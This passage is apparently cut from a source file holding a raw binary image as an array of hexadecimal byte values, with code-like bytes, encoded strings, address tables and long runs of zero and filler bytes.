    0x62, 0xFF, 0xFF, 0xFF, 0x43, 0x05, 0xD0, 0x08, 0x00, 0x6C, 0xAA, 0xA5, 0x92, 0xFF, 0xA8, 0x21,   
    0x01, 0x08, 0x00, 0x53, 0x00, 0x53, 0x00, 0x53, 0x01, 0x53, 0x18, 0x53, 0x00, 0x43, 0x04, 0x00,   
    0x00, 0x00, 0x53, 0x00, 0x6C, 0x2A, 0x46, 0x82, 0x6C, 0x6A, 0xA6, 0x8A, 0x43, 0x00, 0x00, 0x00,   
    0x02, 0x6C, 0xAA, 0xE5, 0x92, 0xFF, 0xA8, 0x01, 0x01, 0x08, 0x00, 0x4C, 0x2A, 0x46, 0x1C, 0xEB,   
    0x46, 0x00, 0xEB, 0x28, 0x4F, 0x38, 0xFF, 0xFF, 0xFF, 0x43, 0x04, 0xD0, 0x08, 0x00, 0x6C, 0x2A,   
    0xA5, 0x82, 0xFF, 0xA8, 0x21, 0x01, 0x08, 0x00, 0x6C, 0x6A, 0x26, 0x8A, 0x53, 0x00, 0x53, 0x00,   
    0x5C, 0xA8, 0x22, 0x01, 0x08, 0x00, 0x5C, 0x10, 0x82, 0x53, 0x00, 0x53, 0x00, 0x53, 0x02, 0x6C,   
    0x6A, 0xA5, 0x8A, 0x47, 0x9D, 0x10, 0x00, 0x00, 0x4C, 0x2A, 0x46, 0x5C, 0x6A, 0x26, 0xFF, 0xA8,   
    0x40, 0x01, 0x08, 0x00, 0x1C, 0xEB, 0x46, 0x00, 0xE3, 0x61, 0x5C, 0xAA, 0x26, 0x5C, 0x12, 0x20,   
    0x4C, 0x2A, 0x66, 0x1C, 0xEB, 0x66, 0x00, 0xA3, 0xE8, 0x5C, 0x6A, 0x66, 0x1C, 0xCB, 0x61, 0x38,   
    0xAB, 0x48, 0x5C, 0xAA, 0x66, 0x4C, 0xA8, 0x60, 0x81, 0x08, 0x00, 0x5C, 0x2A, 0x66, 0x5C, 0x42,   
    0x60, 0x4C, 0x6A, 0x66, 0x5F, 0xEE, 0x1C, 0xE9, 0x60, 0x81, 0x08, 0x00, 0x00, 0x78, 0x24, 0x05,   
    0x08, 0x00, 0x00, 0x43, 0x00, 0x80, 0x00, 0x00, 0x53, 0x00, 0xFF, 0xA8, 0xE1, 0x01, 0x08, 0x00,   
    0x4C, 0x2A, 0x86, 0x5C, 0xAA, 0x86, 0x0C, 0x16, 0x00, 0x20, 0x00, 0x00, 0x4C, 0xAA, 0x06, 0x1C,   
    0xEB, 0x86, 0x00, 0xA3, 0x09, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x2A, 0x65, 0x82, 0x5C, 0x6A,   
    0x45, 0x8A, 0x5C, 0xAA, 0x86, 0x92, 0x53, 0x18, 0x0D, 0x60, 0x81, 0x08, 0x00, 0x82, 0x47, 0x11,   
    0xEF, 0xFF, 0xFF, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x86, 0x00, 0x78, 0x24, 0x9A, 0x08, 0x00, 0x00,   
    0x1C, 0xEB, 0x46, 0x00, 0x78, 0x64, 0x4A, 0x08, 0x00, 0x00, 0x5C, 0x6A, 0x86, 0x78, 0xB5, 0x8C,   
    0xF7, 0x08, 0x00, 0x00, 0x1C, 0xD7, 0xAA, 0x78, 0x2C, 0xB1, 0x08, 0x00, 0x00, 0x5C, 0x2A, 0x86,   
    0x78, 0xB5, 0x44, 0xFF, 0x08, 0x00, 0x00, 0x0C, 0xCF, 0x55, 0x00, 0x00, 0x00, 0x78, 0x2C, 0x01,   
    0x08, 0x00, 0x00, 0x5C, 0xAA, 0x86, 0x53, 0x00, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x12, 0xC3,   
    0x82, 0x5C, 0x52, 0xA3, 0x8A, 0x47, 0xEE, 0x08, 0x00, 0x00, 0x1D, 0x80, 0x81, 0x08, 0x00, 0x4C,   
    0xA8, 0xA0, 0x81, 0x08, 0x00, 0x5C, 0xA8, 0x80, 0x81, 0x08, 0x00, 0x4C, 0xAA, 0x45, 0x0D, 0xA0,   
    0x81, 0x08, 0x00, 0x4C, 0x2A, 0x65, 0x5C, 0x6A, 0x45, 0x0C, 0x0E, 0x00, 0x41, 0x00, 0x00, 0x5C,   
    0xAA, 0x65, 0x1C, 0x96, 0x00, 0x0C, 0x4F, 0x00, 0x10, 0x00, 0x00, 0x1C, 0xD6, 0x00, 0x4C, 0x6A,   
    0x45, 0x4C, 0xAA, 0x65, 0x3E, 0x2A, 0x67, 0x00, 0x00, 0x00, 0x00, 0x5F, 0x48, 0x5C, 0x2A, 0x67,   
    0x1C, 0x06, 0x08, 0x4C, 0x2A, 0x67, 0x0C, 0xEB, 0x67, 0x84, 0x08, 0x00, 0x00, 0x78, 0x1C, 0x85,   
    0x00, 0x00, 0x00, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x6A, 0x65, 0x8A, 0x5C, 0xAA, 0x45, 0x92,   
    0x5C, 0x2A, 0x06, 0x82, 0x53, 0x18, 0x5C, 0x68, 0x60, 0x81, 0x08, 0x00, 0x8A, 0x47, 0x9A, 0xE7,   
    0xFF, 0xFF, 0x4C, 0x2A, 0x46, 0x1C, 0xEB, 0x46, 0x00, 0xE3, 0x73, 0x1C, 0xEB, 0x67, 0x00, 0xAB,   
    0x21, 0x5C, 0xAA, 0x06, 0x4C, 0xAA, 0x25, 0x5C, 0x2A, 0x25, 0x1C, 0xC1, 0x00, 0xAB, 0x58, 0x5C,   
    0x6A, 0x25, 0x1C, 0xCB, 0x20, 0x00, 0xAB, 0x10, 0x5F, 0x4B, 0xD5, 0x6A, 0xD2, 0x00, 0x00, 0x5C,   
    0x2A, 0x06, 0x33, 0x4C, 0x80, 0x53, 0x00, 0x53, 0x00, 0x43, 0x00, 0x10, 0x00, 0x00, 0x5C, 0x6A,   
    0x06, 0x8A, 0x6C, 0xAA, 0xC7, 0x92, 0x53, 0x00, 0x53, 0x00, 0x53, 0x00, 0x5C, 0x2A, 0xE5, 0x82,   
    0xFF, 0xA8, 0xC1, 0x01, 0x08, 0x00, 0x5C, 0x6A, 0x06, 0x4C, 0x6A, 0x05, 0x5C, 0xAA, 0x05, 0x0C,   
    0xD5, 0xC7, 0x08, 0x00, 0x00, 0x55, 0xAA, 0x00, 0x00, 0xAB, 0x70, 0x5C, 0x2A, 0x05, 0x1C, 0xC5,   
    0xE7, 0x08, 0x00, 0x00, 0x00, 0xAB, 0x10, 0x5F, 0xD0, 0x5C, 0x6A, 0x45, 0x0C, 0x0E, 0x00, 0x10,   
    0x00, 0x00, 0x5C, 0xAA, 0x65, 0x1C, 0x96, 0x00, 0x4C, 0x6A, 0x45, 0x4C, 0xAA, 0x65, 0x4F, 0xD1,   
    0xFF, 0xFF, 0xFF, 0x5C, 0x2A, 0xE5, 0x82, 0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x43, 0x40, 0x81,   
    0x08, 0x00, 0x43, 0x80, 0x80, 0x08, 0x00, 0x47, 0xC8, 0xD7, 0xFF, 0xFF, 0x5C, 0x2F, 0xEA, 0x16,   
    0x20, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x1C, 0x67, 0x80, 0x3E, 0x2A, 0x87,   
    0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xA7, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x2A, 0xC7, 0x00, 0x00,   
    0x00, 0x00, 0x99, 0x06, 0x4C, 0x2A, 0xE7, 0x53, 0x00, 0x43, 0x80, 0xA8, 0x08, 0x00, 0x6C, 0x6A,   
    0xC7, 0x8A, 0x53, 0x00, 0x53, 0x00, 0x43, 0xFF, 0xFF, 0xF8, 0x00, 0x6C, 0xAA, 0x87, 0x92, 0xFF,   
    0xA8, 0x23, 0x01, 0x08, 0x00, 0x2C, 0x06, 0xE3, 0x69, 0x6C, 0x2A, 0xA7, 0x82, 0x5C, 0x6A, 0xE7,   
    0x8A, 0xFF, 0xA8, 0x03, 0x01, 0x08, 0x00, 0x53, 0xF8, 0x5C, 0xAA, 0xA7, 0x92, 0xFF, 0xA8, 0xE2,   
    0x01, 0x08, 0x00, 0x5C, 0x6A, 0xA7, 0xFF, 0xA8, 0x40, 0x01, 0x08, 0x00, 0x5C, 0x2A, 0x87, 0x82,   
    0xFF, 0xA8, 0x80, 0x01, 0x08, 0x00, 0x99, 0x06, 0x5C, 0x2F, 0xEA, 0x16, 0x40, 0x00, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0xFF, 0x29, 0x00, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF,   
    0x29, 0xE0, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF, 0x29, 0x02, 0x01, 0x08,   
    0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0xFF, 0x29, 0xC2, 0x01, 0x08, 0x00, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0x4A, 0x93, 0x83, 0x69, 0xF1, 0x1A, 0xAB, 0x93, 0x93, 0x2B, 0x73,   
    0xA3, 0x62, 0x7B, 0x1B, 0x0B, 0xA3, 0x4B, 0x7B, 0x73, 0x01, 0xE1, 0xE9, 0x01, 0x4A, 0x93, 0x83,   
    0x69, 0xF1, 0x9A, 0xA3, 0x0B, 0x1B, 0x5B, 0x1A, 0x7B, 0xAB, 0x73, 0xA3, 0x01, 0x59, 0x01, 0x89,   
    0x00, 0x66, 0x66, 0x66, 0x66, 0x23, 0xD1, 0xE2, 0x83, 0x93, 0x7B, 0x3B, 0x93, 0x0B, 0x6B, 0x01,   
    0x33, 0x4B, 0x63, 0x2B, 0x9B, 0xE2, 0x23, 0x23, 0x5B, 0xE2, 0x4B, 0x73, 0x1B, 0xE2, 0x23, 0x23,   
    0x5B, 0xE2, 0xBB, 0x23, 0x6B, 0x71, 0x43, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0x42, 0x7B, 0x7B, 0x5B, 0x0A, 0xA3, 0x0B, 0x83, 0x4B, 0x9A, 0xA3,   
    0x0B, 0x93, 0xA3, 0x4A, 0x7A, 0x61, 0x01, 0x72, 0xAA, 0x62, 0x62, 0x01, 0xE9, 0xE9, 0x01, 0x92,   
    0x2B, 0x0B, 0x63, 0x22, 0x4B, 0x9B, 0x5B, 0x50, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0x42, 0x7B, 0x7B, 0x5B, 0x0A, 0xA3, 0x0B, 0x83, 0x4B, 0x9A, 0xA3,   
    0x0B, 0x93, 0xA3, 0x4A, 0x7A, 0x61, 0x01, 0xD2, 0xBB, 0x1A, 0x93, 0x2B, 0x0B, 0xA3, 0x2B, 0x32,   
    0x4B, 0x63, 0x2B, 0x01, 0x33, 0x0B, 0x4B, 0x63, 0x2B, 0x23, 0xD1, 0x81, 0xC3, 0x29, 0xC3, 0x50,   
    0x00, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0xF9, 0x00, 0xF9, 0x00, 0xE2, 0x00, 0x82, 0x00, 0x43,   
    0x00, 0xCB, 0x00, 0x9B, 0x00, 0x4B, 0x00, 0x1B, 0x00, 0x0B, 0x00, 0x63, 0x00, 0x22, 0x00, 0x93,   
    0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x81, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0x22, 0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B,   
    0x00, 0x93, 0x00, 0xE2, 0x00, 0x22, 0x00, 0x4B, 0x00, 0x9B, 0x00, 0x5B, 0x00, 0x00, 0x00, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0xF9, 0x00, 0xF9, 0x00, 0xE2, 0x00, 0x1A, 0x00, 0xD1,   
    0x00, 0xE2, 0x00, 0x0B, 0x00, 0x63, 0x00, 0x3B, 0x00, 0x71, 0x00, 0x2B, 0x00, 0xC3, 0x00, 0x2B,   
    0x00, 0x00, 0x00, 0x66, 0x66, 0x1A, 0x00, 0xD1, 0x00, 0xE2, 0x00, 0x0B, 0x00, 0x63, 0x00, 0x3B,   
    0x00, 0x71, 0x00, 0x2B, 0x00, 0xC3, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0x0A, 0x00, 0x63, 0x00, 0x3B, 0x00, 0x00, 0x00, 0x66, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x66, 0x66, 0xE2, 0x00, 0x92, 0x00, 0x2B, 0x00, 0x3B, 0x00, 0x4B, 0x00, 0x9B,   
    0x00, 0xA3, 0x00, 0x93, 0x00, 0xCB, 0x00, 0xE2, 0x00, 0x6A, 0x00, 0x0B, 0x00, 0x1B, 0x00, 0x43,   
    0x00, 0x4B, 0x00, 0x73, 0x00, 0x2B, 0x00, 0xE2, 0x00, 0x9A, 0x00, 0x7A, 0x00, 0x32, 0x00, 0xA2,   
    0x00, 0xBA, 0x00, 0x0A, 0x00, 0x92, 0x00, 0x2A, 0x00, 0xE2, 0x00, 0x6A, 0x00, 0x4B, 0x00, 0x1B,   
    0x00, 0x93, 0x00, 0x7B, 0x00, 0x9B, 0x00, 0x7B, 0x00, 0x33, 0x00, 0xA3, 0x00, 0xE2, 0x00, 0xBA,   
    0x00, 0x4B, 0x00, 0x73, 0x00, 0x23, 0x00, 0x7B, 0x00, 0xBB, 0x00, 0x9B, 0x00, 0xE2, 0x00, 0x1A,   
    0x00, 0xAB, 0x00, 0x93, 0x00, 0x93, 0x00, 0x2B, 0x00, 0x73, 0x00, 0xA3, 0x00, 0xB2, 0x00, 0x2B,   
    0x00, 0x93, 0x00, 0x9B, 0x00, 0x4B, 0x00, 0x7B, 0x00, 0x73, 0x00, 0xE2, 0x00, 0x92, 0x00, 0xAB,   
    0x00, 0x73, 0x00, 0x00, 0x00, 0xE2, 0x00, 0x9A, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B,   
    0x00, 0x6B, 0x00, 0x92, 0x00, 0x7B, 0x00, 0x7B, 0x00, 0xA3, 0x00, 0xE2, 0x00, 0x9B, 0x00, 0xCB,   
    0x00, 0x9B, 0x00, 0xA3, 0x00, 0x2B, 0x00, 0x6B, 0x00, 0x99, 0x00, 0x91, 0x00, 0xE2, 0x00, 0x23,   
    0x00, 0x93, 0x00, 0x4B, 0x00, 0xB3, 0x00, 0x2B, 0x00, 0x93, 0x00, 0x9B, 0x00, 0xE2, 0x00, 0x13,   
    0x00, 0x2B, 0x00, 0x2B, 0x00, 0x83, 0x00, 0x71, 0x00, 0x9B, 0x00, 0xCB, 0x00, 0x9B, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x02, 0x00, 0x00, 0x97, 0x02, 0x00, 0x00, 0xF7, 0x02, 0x00,   
    0x00, 0xB0, 0x0A, 0x00, 0x00, 0xB1, 0x0A, 0x00, 0x00, 0x02, 0x0A, 0x00, 0x00, 0xE2, 0x0A, 0x00,   
    0x00, 0x83, 0x0A, 0x00, 0x00, 0xE3, 0x0A, 0x00, 0x00, 0x64, 0x0A, 0x00, 0x00, 0x25, 0x0A, 0x00,   
    0x00, 0xE5, 0x0A, 0x00, 0x00, 0x66, 0x0A, 0x00, 0x00, 0x67, 0x0A, 0x00, 0x00, 0x00, 0x12, 0x00,   
    0x00, 0x70, 0x12, 0x00, 0x00, 0x01, 0x12, 0x00, 0x00, 0xD1, 0x12, 0x00, 0x00, 0x82, 0x12, 0x00,   
    0x00, 0x03, 0x12, 0x00, 0x00, 0x63, 0x12, 0x00, 0x00, 0xE3, 0x12, 0x00, 0x00, 0xB4, 0x12, 0x00,   
    0x00, 0x05, 0x12, 0x00, 0x00, 0xB5, 0x12, 0x00, 0x00, 0x96, 0x12, 0x00, 0x00, 0x57, 0x12, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEC, 0x88, 0x6D, 0x6A, 0x00, 0x00, 0x00,   
    0x00, 0x10, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x00, 0x64, 0x01, 0x00, 0x00, 0x64, 0x80, 0x00,   
    0x00, 0x92, 0x9A, 0x22, 0x9A, 0x99, 0x17, 0x8C, 0x04, 0xF6, 0x63, 0xF6, 0x1A, 0xF5, 0x24, 0xA6,   
    0x0D, 0xFC, 0x1B, 0x1D, 0x05, 0x08, 0x00, 0x00, 0x00, 0xC3, 0xD1, 0xE2, 0xA3, 0x2B, 0x6B, 0x83,   
    0xE2, 0x23, 0x23, 0x5B, 0xE2, 0xA3, 0x2B, 0x6B, 0x83, 0xA1, 0xE2, 0x7B, 0x13, 0x53, 0x1B, 0x43,   
    0x5B, 0xFA, 0xBB, 0x4B, 0x73, 0xB9, 0xFA, 0xC3, 0xC1, 0xB1, 0xE2, 0x4B, 0x99, 0xC1, 0xB1, 0xE2,   
    0x22, 0x7B, 0x3B, 0x71, 0x83, 0x23, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x37, 0x02, 0xDD, 0x8D, 0xC8, 0xFD, 0x22, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x81, 0x08, 0x00, 0xCD,   
    0x72, 0x37, 0x02, 0xDD, 0x2C, 0x06, 0xA3, 0x20, 0xD9, 0x0E, 0xAB, 0xD0, 0x0D, 0x43, 0x01, 0x08,   
    0x00, 0x5C, 0x00, 0xA9, 0x00, 0x81, 0x08, 0x00, 0x1D, 0x00, 0x81, 0x08, 0x00, 0xAB, 0x38, 0x5C,   
    0x0E, 0x1D, 0x00, 0x81, 0x08, 0x00, 0xBF, 0x86, 0x1D, 0x20, 0x81, 0x08, 0x00, 0x1E, 0x66, 0x66,   
    0x66, 0x66, 0x66, 0x5C, 0xFF, 0xAA, 0x5C, 0x67, 0x47, 0xED, 0xFF, 0xFF, 0xFF, 0xEA, 0x4F, 0x94,   
    0xC6, 0xFF, 0xFF, 0x66, 0x66, 0xC3, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0xC7, 0x12, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0x02, 0x00,   
    0x00, 0x97, 0x02, 0x00, 0x00, 0xF7, 0x02, 0x00, 0x00, 0xB0, 0x0A, 0x00, 0x00, 0xB1, 0x0A, 0x00,   
    0x00, 0x02, 0x0A, 0x00, 0x00, 0xE2, 0x0A, 0x00, 0x00, 0x83, 0x0A, 0x00, 0x00, 0xE3, 0x0A, 0x00,   
    0x00, 0x64, 0x0A, 0x00, 0x00, 0x25, 0x0A, 0x00, 0x00, 0xE5, 0x0A, 0x00, 0x00, 0x66, 0x0A, 0x00,   
    0x00, 0x67, 0x0A, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x70, 0x12, 0x00, 0x00, 0x01, 0x12, 0x00,   
    0x00, 0xD1, 0x12, 0x00, 0x00, 0x82, 0x12, 0x00, 0x00, 0x03, 0x12, 0x00, 0x00, 0x63, 0x12, 0x00,   
    0x00, 0xE3, 0x12, 0x00, 0x00, 0xB4, 0x12, 0x00, 0x00, 0x05, 0x12, 0x00, 0x00, 0xB5, 0x12, 0x00,   
    0x00, 0x96, 0x12, 0x00, 0x00, 0x57, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x40, 0xFA,   
    0x0B, 0x63, 0x63, 0x9B, 0x43, 0x63, 0x00, 0x03, 0x28, 0x92, 0xA3, 0x63, 0x0A, 0x9B, 0x9B, 0x2B,   
    0x93, 0xA3, 0x00, 0x7D, 0x20, 0x7A, 0x13, 0x33, 0x22, 0x2B, 0x93, 0x2B, 0x33, 0x2B, 0x93, 0x2B,   
    0x73, 0x1B, 0x2B, 0x7A, 0x13, 0x53, 0x2B, 0x1B, 0xA3, 0x00, 0x00, 0xF0, 0x10, 0x4A, 0x7B, 0x3A,   
    0x2B, 0xA3, 0x22, 0x2B, 0xB3, 0x4B, 0x1B, 0x2B, 0x0A, 0xA3, 0xA3, 0x0B, 0x1B, 0x43, 0x6B, 0x2B,   
